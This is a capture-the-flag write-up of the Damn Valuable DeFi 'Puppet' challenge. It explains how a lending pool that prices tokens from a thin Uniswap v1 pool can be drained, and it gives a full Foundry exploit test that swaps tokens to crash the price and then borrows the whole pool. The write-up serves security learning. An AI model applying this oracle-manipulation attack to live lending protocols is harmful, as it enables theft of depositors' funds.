There’s a lending pool where users can borrow Damn Valuable Tokens (DVTs). To do so, they first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity.
There’s a DVT market opened in an old Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity.
Pass the challenge by taking all tokens from the lending pool. You start with 25 ETH and 1000 DVTs in balance.
TL;DR
The price oracle is susceptible to manipulation attack. Attack is given huge amount of dvt tokens and ETH compared to the uniswap v1 pool, so it is easy to manipulate the price.
Code Audit
Price oracle manipulation:
function_computeOraclePrice() privateviewreturns (uint256) {// calculates the price of the token in wei according to Uniswap pairreturn (uniswapPair.balance * (10**18)) / token.balanceOf(uniswapPair); }
If we increase the dvt reserve in the pool then this price will decrease. That is, we can swap dvt for ETH using the function uniswapExchange.tokenToEthSwapInput():
Therefore we don't even need flashloan in this chall.
Building PoC
This PoC just passes all the assertion and it is far from being optimized.
// SPDX-License-Identifier: MITpragmasolidity >=0.8.0;import {Utilities} from"../../utils/Utilities.sol";import"forge-std/Test.sol";import {DamnValuableToken} from"../../../src/Contracts/DamnValuableToken.sol";import {PuppetPool} from"../../../src/Contracts/puppet/PuppetPool.sol";interface UniswapV1Exchange {functionaddLiquidity(uint256 min_liquidity,uint256 max_tokens,uint256 deadline)externalpayablereturns (uint256);functionbalanceOf(address_owner) externalviewreturns (uint256);functiontokenToEthSwapInput(uint256 tokens_sold,uint256 min_eth,uint256 deadline) externalreturns (uint256);functiongetTokenToEthInputPrice(uint256 tokens_sold) externalviewreturns (uint256);}interface UniswapV1Factory {functioninitializeFactory(address template) external;functioncreateExchange(address token) externalreturns (address);}contractPuppetisTest {// Uniswap exchange will start with 10 DVT and 10 ETH in liquidityuint256internalconstant UNISWAP_INITIAL_TOKEN_RESERVE =10e18;uint256internalconstant UNISWAP_INITIAL_ETH_RESERVE =10e18;uint256internalconstant ATTACKER_INITIAL_TOKEN_BALANCE =1_000e18;uint256internalconstant ATTACKER_INITIAL_ETH_BALANCE =25e18;uint256internalconstant POOL_INITIAL_TOKEN_BALANCE =100_000e18;uint256internalconstant DEADLINE =10_000_000; UniswapV1Exchange internal uniswapV1ExchangeTemplate; UniswapV1Exchange internal uniswapExchange; UniswapV1Factory internal uniswapV1Factory; DamnValuableToken internal dvt; PuppetPool internal puppetPool;addresspayableinternal attacker;functionsetUp() public {/** * SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ attacker =payable(address(uint160(uint256(keccak256(abi.encodePacked("attacker")))))); vm.label(attacker,"Attacker"); vm.deal(attacker, ATTACKER_INITIAL_ETH_BALANCE);// Deploy token to be traded in Uniswap dvt =newDamnValuableToken(); vm.label(address(dvt),"DVT"); uniswapV1Factory =UniswapV1Factory(deployCode("./src/build-uniswap/v1/UniswapV1Factory.json"));// Deploy a exchange that will be used as the factory template uniswapV1ExchangeTemplate =UniswapV1Exchange(deployCode("./src/build-uniswap/v1/UniswapV1Exchange.json"));// Deploy factory, initializing it with the address of the template exchange uniswapV1Factory.initializeFactory(address(uniswapV1ExchangeTemplate)); uniswapExchange =UniswapV1Exchange(uniswapV1Factory.createExchange(address(dvt))); vm.label(address(uniswapExchange),"Uniswap Exchange");// Deploy the lending pool puppetPool =newPuppetPool(address(dvt),address(uniswapExchange)); vm.label(address(puppetPool),"Puppet Pool");// Add initial token and ETH liquidity to the pool dvt.approve(address(uniswapExchange), UNISWAP_INITIAL_TOKEN_RESERVE); uniswapExchange.addLiquidity{value: UNISWAP_INITIAL_ETH_RESERVE}(0,// min_liquidity UNISWAP_INITIAL_TOKEN_RESERVE,// max_tokens DEADLINE // deadline );// Ensure Uniswap exchange is working as expectedassertEq( uniswapExchange.getTokenToEthInputPrice(1ether),calculateTokenToEthInputPrice(1ether, UNISWAP_INITIAL_TOKEN_RESERVE, UNISWAP_INITIAL_ETH_RESERVE) );// Setup initial token balances of pool and attacker account dvt.transfer(attacker, ATTACKER_INITIAL_TOKEN_BALANCE); dvt.transfer(address(puppetPool), POOL_INITIAL_TOKEN_BALANCE);// Ensure correct setup of pool.assertEq(puppetPool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE), POOL_INITIAL_TOKEN_BALANCE *2); console.log(unicode"🧨 Let's see if you can break it... 🧨"); }functiontestExploit() public {/** * EXPLOIT START * */ vm.startPrank(attacker); console.log("Attacker's dvt balance before swap: ", dvt.balanceOf(attacker)); console.log("Attacker's ETH balance before swap: ", attacker.balance); dvt.approve(address(uniswapExchange), type(uint256).max); uniswapExchange.tokenToEthSwapInput( dvt.balanceOf(attacker),1ether, block.timestamp +5days ); console.log("Attacker's dvt balance after swap: ", dvt.balanceOf(attacker)); console.log("Attacker's ETH balance after swap: ", attacker.balance);uint256 poolBalance = dvt.balanceOf(address(puppetPool));uint256 depositRequired = puppetPool.calculateDepositRequired(poolBalance); puppetPool.borrow{value: depositRequired}(poolBalance); console.log("Attacker's dvt balance after borrow: ", dvt.balanceOf(attacker)); console.log("Attacker's ETH balance after borrow: ", attacker.balance); vm.stopPrank();/** * EXPLOIT END * */validation(); console.log(unicode"\n🎉 Congratulations, you can go to the next level! 🎉"); }functionvalidation() internal {// Attacker has taken all tokens from the poolassertGe(dvt.balanceOf(attacker), POOL_INITIAL_TOKEN_BALANCE);assertEq(dvt.balanceOf(address(puppetPool)),0); }// Calculates how much ETH (in wei) Uniswap will pay for the given amount of tokensfunctioncalculateTokenToEthInputPrice(uint256 input_amount,uint256 input_reserve,uint256 output_reserve)internalreturns (uint256) {uint256 input_amount_with_fee = input_amount *997;uint256 numerator = input_amount_with_fee * output_reserve;uint256 denominator = (input_reserve *1000) + input_amount_with_fee;return numerator / denominator; }}